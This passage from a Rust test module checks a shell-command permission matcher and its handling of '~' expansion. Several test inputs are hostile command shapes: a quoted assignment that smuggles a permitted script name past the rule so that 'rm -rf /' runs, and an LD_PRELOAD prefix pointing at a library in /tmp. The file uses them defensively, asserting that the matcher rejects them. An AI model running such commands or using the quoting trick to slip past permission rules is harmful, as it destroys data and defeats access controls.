822        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
823        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
824        assert!(
825            !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
826            "a spaced value smuggled the pattern and matched a different program",
827        );
828
829        // Same shape without the glob: two different programs must not share a rendering.
830        let n = matcher(&["FOO=bar baz ls"]);
831        assert!(n.matches_cmd(&cmd("FOO=bar baz ls"))); // runs `baz`
832        assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); // runs `ls`
833    }
834
835    /// Quoted WORDS keep matching — `git commit -m 'a message'` is ordinary, and a quoted argument
836    /// cannot change which program runs, since the program is the first word either way. Only the
837    /// pre-program assignments are refused.
838    #[test]
839    fn a_quoted_word_still_matches() {
840        let m = matcher(&["git commit -m:*"]);
841        assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
842    }
843
844    /// The property, over every rule shape the matcher supports: if a command matches a rule, then
845    /// the same command with ANY assignment prepended must not — unless the rule declares it.
846    /// Stated generally so a future pattern form cannot reintroduce the hole for one spelling.
847    #[test]
848    fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
849        let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
850        let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
851        let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
852
853        let mut checked = 0;
854        for rule in rules {
855            let m = matcher(&[rule]);
856            for c in commands {
857                if !m.matches_cmd(&cmd(c)) {
858                    continue; // only meaningful where the bare command DOES match
859                }
860                for a in assignments {
861                    let prefixed = format!("{a} {c}");
862                    assert!(!m.matches_cmd(&cmd(&prefixed)), "rule `{rule}` matched `{prefixed}` without declaring `{a}`",);
863                    checked += 1;
864                }
865            }
866        }
867        assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
868    }
869
870    proptest::proptest! {
871        /// An empty or root HOME means there is no home to canonicalize to. Expanding `~/x`
872        /// against one produced `/x`, a different file, so a grant for either would cover both.
873        #[test]
874        fn without_a_usable_home_every_word_is_left_alone(
875            text in "[~]/[a-z]{0,8}( [~]?/?[a-z.]{0,10}){0,4}",
876            home in proptest::prop_oneof![proptest::strategy::Just(""), proptest::strategy::Just("/")],
877        ) {
878            proptest::prop_assert_eq!(canonicalize_home(&text, home), text);
879        }
880
881        /// A bare `~` and a leading `~/` both name the home directory, with or without a trailing
882        /// slash on HOME, so a grant spelled absolutely covers either.
883        #[test]
884        fn a_usable_home_expands_both_tilde_spellings(
885            home in "/[a-z]{1,8}(/[a-z]{1,8}){0,2}",
886            slash in proptest::bool::ANY,
887            rest in "[a-z.]{1,10}",
888        ) {
889            let given = if slash { format!("{home}/") } else { home.clone() };
890            let text = format!("ls ~ ~/{rest}");
891            proptest::prop_assert_eq!(canonicalize_home(&text, &given), format!("ls {home} {home}/{rest}"));
892        }
893    }
894}
895
896#[cfg(test)]
897mod rule_scope_tests;